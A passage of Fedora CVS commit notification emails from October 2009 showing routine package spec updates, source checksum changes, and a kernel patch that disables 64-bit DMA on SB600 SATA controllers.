 Name: 		perl-HTTP-Server-Simple-Mason
-Version: 	0.12
+Version: 	0.13
 Release: 	1%{?dist}
 Summary:	HTTP::Server::Simple::Mason Perl module
 License:	GPL+ or Artistic
@@ -55,6 +55,9 @@ make test
 %{_mandir}/man3/*
 
 %changelog
+* Tue Oct 13 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.13-1
+- Upstream update.
+
 * Mon Jul 20 2009 Ralf Cors?pius <corsepiu at fedoraproject.org> - 0.12-1
 - Upstream update.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-HTTP-Server-Simple-Mason/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	20 Jul 2009 16:34:29 -0000	1.4
+++ sources	13 Oct 2009 08:52:36 -0000	1.5
@@ -1 +1 @@
-9331c279f3fadb3ccba3b6ef42647e0b  HTTP-Server-Simple-Mason-0.12.tar.gz
+002d315a559e86ba62f7d826fbcc9b89  HTTP-Server-Simple-Mason-0.13.tar.gz



From vcrhonek at fedoraproject.org  Tue Oct 13 09:13:12 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 13 Oct 2009 09:13:12 +0000 (UTC)
Subject: rpms/sblim-cim-client2/devel import.log, NONE, 1.1 .cvsignore, 1.1, 
	1.2 sources, 1.1, 1.2
Message-ID: <20091013091312.2C17711C00E8@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27300/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log 
Log Message:
Initial import (#503939).


--- NEW FILE import.log ---
sblim-cim-client2-2_0_9_2-1_fc10:HEAD:sblim-cim-client2-2.0.9.2-1.fc10.src.rpm:1255425161


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client2/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:57:26 -0000	1.1
+++ .cvsignore	13 Oct 2009 09:13:11 -0000	1.2
@@ -0,0 +1 @@
+sblim-cim-client2-2.0.9.2-src.zip


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client2/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:57:26 -0000	1.1
+++ sources	13 Oct 2009 09:13:12 -0000	1.2
@@ -0,0 +1 @@
+bdde87b00844f3696caebc8594989ae7  sblim-cim-client2-2.0.9.2-src.zip



From beekhof at fedoraproject.org  Tue Oct 13 09:13:19 2009
From: beekhof at fedoraproject.org (Andrew Beekhof)
Date: Tue, 13 Oct 2009 09:13:19 +0000 (UTC)
Subject: rpms/resource-agents/F-12 .cvsignore, 1.15,
	1.16 resource-agents.spec, 1.17, 1.18 sources, 1.15, 1.16
Message-ID: <20091013091319.6568811C00E8@cvs1.fedora.phx.redhat.com>

Author: beekhof

Update of /cvs/pkgs/rpms/resource-agents/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27353

Modified Files:
	.cvsignore resource-agents.spec sources 
Log Message:
Includethe source tarball too


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-12/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	25 Sep 2009 10:37:43 -0000	1.15
+++ .cvsignore	13 Oct 2009 09:13:19 -0000	1.16
@@ -1,2 +1,2 @@
+099c0e5d80db.tar.bz2
 resource-agents-3.0.3.tar.gz
-2198dc90bec4.tar.bz2


Index: resource-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-12/resource-agents.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- resource-agents.spec	12 Oct 2009 16:05:29 -0000	1.17
+++ resource-agents.spec	13 Oct 2009 09:13:19 -0000	1.18
@@ -25,7 +25,7 @@
 Name: resource-agents
 Summary: Open Source HA Resource Agents for Red Hat Cluster
 Version: 3.0.3
-Release: 2%{?alphatag:.%{alphatag}}%{?dist}
+Release: 3%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -158,7 +158,7 @@ rm -rf %{buildroot}
 /usr/lib/ocf/resource.d/heartbeat/ldirectord
 
 %changelog
-* Mon Oct 12 2009 Andrew Beekhof <andrew at beekhof.net> - 3.0.3-2
+* Mon Oct 12 2009 Andrew Beekhof <andrew at beekhof.net> - 3.0.3-3
 - Update Pacameker agents to upstream version: 099c0e5d80db
   + Add the ha_parameter function back into .ocf-shellfuncs.
   + Bug bnc#534803 - Provide a default for MAILCMD


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-12/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	25 Sep 2009 10:37:43 -0000	1.15
+++ sources	13 Oct 2009 09:13:19 -0000	1.16
@@ -1,2 +1,2 @@
+98088230632e65c63022923ae4a835f3  099c0e5d80db.tar.bz2
 91110701087ffc915971231b392180d0  resource-agents-3.0.3.tar.gz
-af99c03587de9d314dc1b47b3ea9f6aa  2198dc90bec4.tar.bz2



From vcrhonek at fedoraproject.org  Tue Oct 13 09:19:22 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 13 Oct 2009 09:19:22 +0000 (UTC)
Subject: rpms/sblim-cim-client2/devel sblim-cim-client2.spec, NONE,
	1.1 import.log, 1.1, 1.2
Message-ID: <20091013091922.2E93D11C00E8@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28574/devel

Modified Files:
	import.log 
Added Files:
	sblim-cim-client2.spec 
Log Message:
Initial import (#503939).


--- NEW FILE sblim-cim-client2.spec ---

%define project_folder %{name}-%{version}-src
%define archive_folder build

Name:           sblim-cim-client2
Version:        2.0.9.2
Release:        1%{?dist}
Summary:        Java CIM Client library

Group:          Development/Libraries
License:        EPL
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/sblim-cim-client2/2.0.9.2/%{name}-%{version}-src.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch

BuildRequires:  java-devel >= 1.4
BuildRequires:  jpackage-utils >= 0:1.5.32
BuildRequires:  ant >= 0:1.6

Requires:       java >= 1.4
Requires:       jpackage-utils >= 0:1.5.32

%description
The purpose of this package is to provide a CIM Client Class Library for Java
applications. It complies to the DMTF standard CIM Operations over HTTP and
intends to be compatible with JCP JSR48 once it becomes available. To learn
more about DMTF visit http://www.dmtf.org.
More infos about the Java Community Process and JSR48 can be found at
http://www.jcp.org and http://www.jcp.org/en/jsr/detail?id=48.

%package javadoc
Summary:        Javadoc for %{name}
Group:          Documentation
Requires:       sblim-cim-client2 = %{version}-%{release}

%description javadoc
Javadoc for %{name}.

%package manual
Summary:        Manual and sample code for %{name}
Group:          Documentation
Requires:       sblim-cim-client2 = %{version}-%{release}

%description manual
Manual and sample code for %{name}.


%prep
%setup -q -n %{project_folder}

dos2unixConversion() {
        fileName=$1
        %{__sed} -i 's/\r//g' "$fileName"
}

dosFiles2unix() {
        fileList=$1
        for fileName in $fileList; do
                dos2unixConversion $fileName
        done
}

dosFiles2unix 'ChangeLog NEWS README COPYING sblim-cim-client2.properties sblim-slp-client2.properties'
dosFiles2unix 'smpl/org/sblim/slp/example/*'
dosFiles2unix 'smpl/org/sblim/cimclient/samples/*'

%build
export ANT_OPTS="-Xmx256m"
ant \
        -Dbuild.compiler=modern \
        -DManifest.version=%{version}\
        package java-doc


%install
rm -rf $RPM_BUILD_ROOT
# --- documentation ---
dstDocDir=$RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -d $dstDocDir
install --mode=644 ChangeLog COPYING README NEWS $dstDocDir
# --- samples (also into _docdir) ---
cp -pr  smpl/org $dstDocDir
# --- config files ---
confDir=$RPM_BUILD_ROOT%{_sysconfdir}/java
install -d $confDir
install --mode=664 sblim-cim-client2.properties sblim-slp-client2.properties $confDir
# --- jar ---
install -d $RPM_BUILD_ROOT%{_javadir}
install %{archive_folder}/lib/%{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{name}-%{version}.jar %{name}.jar;
)
# --- javadoc ---
install -d $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
cp -pr %{archive_folder}/doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(0644,root,root,0755)
%dir %{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/java/sblim-cim-client2.properties
%config(noreplace) %{_sysconfdir}/java/sblim-slp-client2.properties
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/README
%doc %{_docdir}/%{name}-%{version}/ChangeLog
%doc %{_docdir}/%{name}-%{version}/NEWS
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar

%files javadoc
%defattr(0644,root,root,0755)
%{_javadocdir}/%{name}-%{version}

%files manual
%defattr(0644,root,root,0755)
# %doc %{_docdir}/%{name}-%{version}/README.samples
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/org


%changelog
* Tue Oct  6 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.0.9.2-1
- Initial support


Index: import.log
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client2/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	13 Oct 2009 09:13:11 -0000	1.1
+++ import.log	13 Oct 2009 09:19:21 -0000	1.2
@@ -1 +1,2 @@
 sblim-cim-client2-2_0_9_2-1_fc10:HEAD:sblim-cim-client2-2.0.9.2-1.fc10.src.rpm:1255425161
+sblim-cim-client2-2_0_9_2-1_fc10:HEAD:sblim-cim-client2-2.0.9.2-1.fc10.src.rpm:1255425523



From vcrhonek at fedoraproject.org  Tue Oct 13 09:31:49 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 13 Oct 2009 09:31:49 +0000 (UTC)
Subject: rpms/sblim-cim-client2/F-12 sources,1.1,1.2
Message-ID: <20091013093149.9951B11C00E8@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31789

Modified Files:
	sources 
Log Message:
Initial commit


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client2/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:57:26 -0000	1.1
+++ sources	13 Oct 2009 09:31:49 -0000	1.2
@@ -0,0 +1 @@
+bdde87b00844f3696caebc8594989ae7  sblim-cim-client2-2.0.9.2-src.zip



From vcrhonek at fedoraproject.org  Tue Oct 13 09:32:45 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 13 Oct 2009 09:32:45 +0000 (UTC)
Subject: rpms/sblim-cim-client2/F-12 sblim-cim-client2.spec,NONE,1.1
Message-ID: <20091013093245.BDC9111C00E8@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32057

Added Files:
	sblim-cim-client2.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cim-client2.spec ---

%define project_folder %{name}-%{version}-src
%define archive_folder build

Name:           sblim-cim-client2
Version:        2.0.9.2
Release:        1%{?dist}
Summary:        Java CIM Client library

Group:          Development/Libraries
License:        EPL
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/sblim-cim-client2/2.0.9.2/%{name}-%{version}-src.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch

BuildRequires:  java-devel >= 1.4
BuildRequires:  jpackage-utils >= 0:1.5.32
BuildRequires:  ant >= 0:1.6

Requires:       java >= 1.4
Requires:       jpackage-utils >= 0:1.5.32

%description
The purpose of this package is to provide a CIM Client Class Library for Java
applications. It complies to the DMTF standard CIM Operations over HTTP and
intends to be compatible with JCP JSR48 once it becomes available. To learn
more about DMTF visit http://www.dmtf.org.
More infos about the Java Community Process and JSR48 can be found at
http://www.jcp.org and http://www.jcp.org/en/jsr/detail?id=48.

%package javadoc
Summary:        Javadoc for %{name}
Group:          Documentation
Requires:       sblim-cim-client2 = %{version}-%{release}

%description javadoc
Javadoc for %{name}.

%package manual
Summary:        Manual and sample code for %{name}
Group:          Documentation
Requires:       sblim-cim-client2 = %{version}-%{release}

%description manual
Manual and sample code for %{name}.


%prep
%setup -q -n %{project_folder}

dos2unixConversion() {
        fileName=$1
        %{__sed} -i 's/\r//g' "$fileName"
}

dosFiles2unix() {
        fileList=$1
        for fileName in $fileList; do
                dos2unixConversion $fileName
        done
}

dosFiles2unix 'ChangeLog NEWS README COPYING sblim-cim-client2.properties sblim-slp-client2.properties'
dosFiles2unix 'smpl/org/sblim/slp/example/*'
dosFiles2unix 'smpl/org/sblim/cimclient/samples/*'

%build
export ANT_OPTS="-Xmx256m"
ant \
        -Dbuild.compiler=modern \
        -DManifest.version=%{version}\
        package java-doc


%install
rm -rf $RPM_BUILD_ROOT
# --- documentation ---
dstDocDir=$RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -d $dstDocDir
install --mode=644 ChangeLog COPYING README NEWS $dstDocDir
# --- samples (also into _docdir) ---
cp -pr  smpl/org $dstDocDir
# --- config files ---
confDir=$RPM_BUILD_ROOT%{_sysconfdir}/java
install -d $confDir
install --mode=664 sblim-cim-client2.properties sblim-slp-client2.properties $confDir
# --- jar ---
install -d $RPM_BUILD_ROOT%{_javadir}
install %{archive_folder}/lib/%{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{name}-%{version}.jar %{name}.jar;
)
# --- javadoc ---
install -d $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
cp -pr %{archive_folder}/doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(0644,root,root,0755)
%dir %{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/java/sblim-cim-client2.properties
%config(noreplace) %{_sysconfdir}/java/sblim-slp-client2.properties
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/README
%doc %{_docdir}/%{name}-%{version}/ChangeLog
%doc %{_docdir}/%{name}-%{version}/NEWS
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar

%files javadoc
%defattr(0644,root,root,0755)
%{_javadocdir}/%{name}-%{version}

%files manual
%defattr(0644,root,root,0755)
# %doc %{_docdir}/%{name}-%{version}/README.samples
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/org


%changelog
* Tue Oct  6 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.0.9.2-1
- Initial support



From cebbert at fedoraproject.org  Tue Oct 13 09:38:39 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Tue, 13 Oct 2009 09:38:39 +0000 (UTC)
Subject: rpms/kernel/F-12
	ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch, NONE,
	1.1 kernel.spec, 1.1865, 1.1866
Message-ID: <20091013093839.4871111C00E8@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv916

Modified Files:
	kernel.spec 
Added Files:
	ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch 
Log Message:
Disable 64-bit DMA on SB600 SATA controllers.

ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch:
 ahci.c |   52 ++--------------------------------------------------
 1 file changed, 2 insertions(+), 50 deletions(-)

--- NEW FILE ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch ---
ahci: revert "Restore SB600 sata controller 64 bit DMA"

revert commit 58a09b38cfcd700b796ea07ae3d2e0efbb28b561
("[libata] ahci: Restore SB600 SATA controller 64 bit DMA")

Upstream commit 58a09b38cfcd700b796ea07ae3d2e0efbb28b561 does
nearly the same thing but this patch is simplified.

Disables 64-bit DMA for _all_ boards, unlike 2.6.32 which adds a
whitelist. (The whitelist function requires a fairly large patch
that touches unrelated code.)

Doesn't revert the DMI part as other backported patches might need
the exported symbol.

Applies to 2.6.31.4

Signed-off-by: Chuck Ebbert <cebbert at redhat.com>

--- a/drivers/ata/ahci.c
+++ b/drivers/ata/ahci.c
@@ -447,7 +447,8 @@
 	[board_ahci_sb600] =
 	{
 		AHCI_HFLAGS	(AHCI_HFLAG_IGN_SERR_INTERNAL |
-				 AHCI_HFLAG_NO_MSI | AHCI_HFLAG_SECT255),
+				 AHCI_HFLAG_32BIT_ONLY | AHCI_HFLAG_NO_MSI |
+				 AHCI_HFLAG_SECT255),
 		.flags		= AHCI_FLAG_COMMON,
 		.pio_mask	= ATA_PIO4,
 		.udma_mask	= ATA_UDMA6,
@@ -2584,51 +2585,6 @@
 	}
 }
 
-/*
- * SB600 ahci controller on ASUS M2A-VM can't do 64bit DMA with older
- * BIOS.  The oldest version known to be broken is 0901 and working is
- * 1501 which was released on 2007-10-26.  Force 32bit DMA on anything
- * older than 1501.  Please read bko#9412 for more info.
- */
-static bool ahci_asus_m2a_vm_32bit_only(struct pci_dev *pdev)
-{
-	static const struct dmi_system_id sysids[] = {
-		{
-			.ident = "ASUS M2A-VM",
-			.matches = {
-				DMI_MATCH(DMI_BOARD_VENDOR,
-					  "ASUSTeK Computer INC."),
-				DMI_MATCH(DMI_BOARD_NAME, "M2A-VM"),
-			},
-		},
-		{ }
-	};
-	const char *cutoff_mmdd = "10/26";
-	const char *date;
-	int year;
-
-	if (pdev->bus->number != 0 || pdev->devfn != PCI_DEVFN(0x12, 0) ||
-	    !dmi_check_system(sysids))
-		return false;
-
-	/*
-	 * Argh.... both version and date are free form strings.
-	 * Let's hope they're using the same date format across
-	 * different versions.
-	 */
-	date = dmi_get_system_info(DMI_BIOS_DATE);
-	year = dmi_get_year(DMI_BIOS_DATE);
-	if (date && strlen(date) >= 10 && date[2] == '/' && date[5] == '/' &&
-	    (year > 2007 ||
-	     (year == 2007 && strncmp(date, cutoff_mmdd, 5) >= 0)))
-		return false;
-
-	dev_printk(KERN_WARNING, &pdev->dev, "ASUS M2A-VM: BIOS too old, "
-		   "forcing 32bit DMA, update BIOS\n");
-
-	return true;
-}
-
 static bool ahci_broken_system_poweroff(struct pci_dev *pdev)
 {
 	static const struct dmi_system_id broken_systems[] = {
@@ -2789,10 +2745,6 @@
 	if (board_id == board_ahci_sb700 && pdev->revision >= 0x40)
 		hpriv->flags &= ~AHCI_HFLAG_IGN_SERR_INTERNAL;
 
-	/* apply ASUS M2A_VM quirk */
-	if (ahci_asus_m2a_vm_32bit_only(pdev))
-		hpriv->flags |= AHCI_HFLAG_32BIT_ONLY;
-
 	if ((hpriv->flags & AHCI_HFLAG_NO_MSI) || pci_enable_msi(pdev))
 		pci_intx(pdev, 1);
 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1865
retrieving revision 1.1866
diff -u -p -r1.1865 -r1.1866
--- kernel.spec	13 Oct 2009 03:13:12 -0000	1.1865
+++ kernel.spec	13 Oct 2009 09:38:39 -0000	1.1866
@@ -748,6 +748,9 @@ Patch14101: improve-resource-counter-sca
 # fix boot hang on some systems
 Patch14200: acpi-revert-attach-device-to-handle-early.patch
 
+# disable 64-bit DMA on SB600 SATA controllers
+Patch14300: ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1399,6 +1402,9 @@ ApplyPatch improve-resource-counter-scal
 # fix boot hang on some systems
 ApplyPatch acpi-revert-attach-device-to-handle-early.patch
 
+# disable 64-bit DMA on SB600 SATA controllers
+ApplyPatch ahci-revert-restore-sb600-sata-controller-64-bit-dma.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2053,6 +2059,9 @@ fi
 # and build.
 
 %changelog
+* Tue Oct 13 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.31.4-80
+- Disable 64-bit DMA on SB600 SATA controllers.
+
 * Tue Oct 13 2009 Kyle McMartin <kyle at redhat.com>
 - Always build perf docs, regardless of whether we build kernel-doc.
   Seems rather unfair to not ship the manpages half the time.



From vcrhonek at fedoraproject.org  Tue Oct 13 09:38:34 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 13 Oct 2009 09:38:34 +0000 (UTC)
Subject: rpms/sblim-cim-client2/F-11 sblim-cim-client2.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091013093834.C969011C00E8@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client2/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv895

Modified Files:
	sources 
Added Files:
	sblim-cim-client2.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cim-client2.spec ---

%define project_folder %{name}-%{version}-src
%define archive_folder build

Name:           sblim-cim-client2
Version:        2.0.9.2
Release:        1%{?dist}
Summary:        Java CIM Client library

Group:          Development/Libraries
License:        EPL
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/sblim-cim-client2/2.0.9.2/%{name}-%{version}-src.zip
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch

BuildRequires:  java-devel >= 1.4
BuildRequires:  jpackage-utils >= 0:1.5.32
BuildRequires:  ant >= 0:1.6

Requires:       java >= 1.4
Requires:       jpackage-utils >= 0:1.5.32

%description
The purpose of this package is to provide a CIM Client Class Library for Java
applications. It complies to the DMTF standard CIM Operations over HTTP and
intends to be compatible with JCP JSR48 once it becomes available. To learn
more about DMTF visit http://www.dmtf.org.
More infos about the Java Community Process and JSR48 can be found at
http://www.jcp.org and http://www.jcp.org/en/jsr/detail?id=48.

%package javadoc
Summary:        Javadoc for %{name}
Group:          Documentation
Requires:       sblim-cim-client2 = %{version}-%{release}

%description javadoc
Javadoc for %{name}.

%package manual
Summary:        Manual and sample code for %{name}
Group:          Documentation
Requires:       sblim-cim-client2 = %{version}-%{release}

%description manual
Manual and sample code for %{name}.


%prep
%setup -q -n %{project_folder}

dos2unixConversion() {
        fileName=$1
        %{__sed} -i 's/\r//g' "$fileName"
}

dosFiles2unix() {
        fileList=$1
        for fileName in $fileList; do
                dos2unixConversion $fileName
        done
}

dosFiles2unix 'ChangeLog NEWS README COPYING sblim-cim-client2.properties sblim-slp-client2.properties'
dosFiles2unix 'smpl/org/sblim/slp/example/*'
dosFiles2unix 'smpl/org/sblim/cimclient/samples/*'

%build
export ANT_OPTS="-Xmx256m"
ant \
        -Dbuild.compiler=modern \
        -DManifest.version=%{version}\
        package java-doc


%install
rm -rf $RPM_BUILD_ROOT
# --- documentation ---
dstDocDir=$RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -d $dstDocDir
install --mode=644 ChangeLog COPYING README NEWS $dstDocDir
# --- samples (also into _docdir) ---
cp -pr  smpl/org $dstDocDir
# --- config files ---
confDir=$RPM_BUILD_ROOT%{_sysconfdir}/java
install -d $confDir
install --mode=664 sblim-cim-client2.properties sblim-slp-client2.properties $confDir
# --- jar ---
install -d $RPM_BUILD_ROOT%{_javadir}
install %{archive_folder}/lib/%{name}-%{version}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{name}-%{version}.jar %{name}.jar;
)
# --- javadoc ---
install -d $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
cp -pr %{archive_folder}/doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(0644,root,root,0755)
%dir %{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/java/sblim-cim-client2.properties
%config(noreplace) %{_sysconfdir}/java/sblim-slp-client2.properties
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/README
%doc %{_docdir}/%{name}-%{version}/ChangeLog
%doc %{_docdir}/%{name}-%{version}/NEWS
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar

%files javadoc
%defattr(0644,root,root,0755)
%{_javadocdir}/%{name}-%{version}

%files manual
%defattr(0644,root,root,0755)
# %doc %{_docdir}/%{name}-%{version}/README.samples
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/org


%changelog
* Tue Oct  6 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.0.9.2-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client2/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:57:26 -0000	1.1
+++ sources	13 Oct 2009 09:38:34 -0000	1.2
@@ -0,0 +1 @@
+bdde87b00844f3696caebc8594989ae7  sblim-cim-client2-2.0.9.2-src.zip



From aleksey2005 at fedoraproject.org  Tue Oct 13 09:42:52 2009
From: aleksey2005 at fedoraproject.org (Popkov Aleksey)
Date: Tue, 13 Oct 2009 09:42:52 +0000 (UTC)
Subject: rpms/openscada/F-12 .cvsignore, 1.2, 1.3 import.log, 1.7,
	1.8 openscada.spec, 1.12, 1.13 oscada.init.patch, 1.3,
	1.4 sources, 1.2, 1.3 openscada-0.6.3.3-openssl.patch, 1.1, NONE
Message-ID: <20091013094252.DFB2511C00E8@cvs1.fedora.phx.redhat.com>

Author: aleksey2005

Update of /cvs/pkgs/rpms/openscada/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2084/F-12

Modified Files:
	.cvsignore import.log openscada.spec oscada.init.patch sources 
Removed Files:
	openscada-0.6.3.3-openssl.patch 
Log Message:
Release OpenSCADA 0.6.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	15 Jun 2009 08:12:48 -0000	1.2
+++ .cvsignore	13 Oct 2009 09:42:52 -0000	1.3
@@ -1 +1 @@
-openscada-0.6.3.3.tar.gz
+openscada-0.6.4.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-12/import.log,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- import.log	19 Jun 2009 21:34:51 -0000	1.7
+++ import.log	13 Oct 2009 09:42:52 -0000	1.8
@@ -5,3 +5,4 @@ openscada-0_6_3_3-5_fc10:HEAD:openscada-
 openscada-0_6_3_3-6_fc10:HEAD:openscada-0.6.3.3-6.fc10.src.rpm:1245335929
 openscada-0_6_3_3-7_fc10:HEAD:openscada-0.6.3.3-7.fc10.src.rpm:1245444161
 openscada-0_6_3_3-7_fc10:HEAD:openscada-0.6.3.3-7.fc10.src.rpm:1245447259
+openscada-0_6_4-1_fc11:F-12:openscada-0.6.4-1.fc11.src.rpm:1255426976


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-12/openscada.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- openscada.spec	25 Aug 2009 18:37:18 -0000	1.12
+++ openscada.spec	13 Oct 2009 09:42:52 -0000	1.13
@@ -14,6 +14,7 @@
 %bcond_without javalikecalc
 %bcond_without logiclevel
 %bcond_without daqgate
+%bcond_with icpdas
 # ======== Protocol ========
 %bcond_without selfsystem
 # ========= DATA BASES =====
@@ -31,15 +32,16 @@
 # ========== HTTP Protocol =========
 %bcond_without http
 # ========== QT Interfaces ==========
+%bcond_without uivcaengine
 # QT4 devel old in to CentOs
 %if 0%{?rhel}
 %bcond_with qtstarter
 %bcond_with qtcfg
-%bcond_with qtvision
+%bcond_with uivision
 %else
 %bcond_without qtstarter
 %bcond_without qtcfg
-%bcond_without qtvision
+%bcond_without uivision
 %define _desktopdir %_datadir/applications
 %define _iconsdir /usr/share/icons
 %endif
@@ -53,21 +55,23 @@
 %bcond_without flibsys
 %bcond_without systemtests
 
-# DIAMONDBOARDS - Only for x86_32
+# Only for x86_32
 %ifarch x86_64
-%if 0%{?with_diamondboards}
-%{error: DIAMONDBOARDS support available only for %{ix86} target}
+  %if 0%{?with_diamondboards}
+  %{error: DIAMONDBOARDS support available only for %{ix86} target }  
 %endif
+  %if 0%{?with_icpdas}
+  %{error: ICP_DAS support available only for %{ix86} target }
+  %endif
 %endif
 
 Summary: Open SCADA system project
 Name: openscada
-Version: 0.6.3.3
-Release: 12%{?dist}
+Version: 0.6.4
+Release: 1%{?dist}
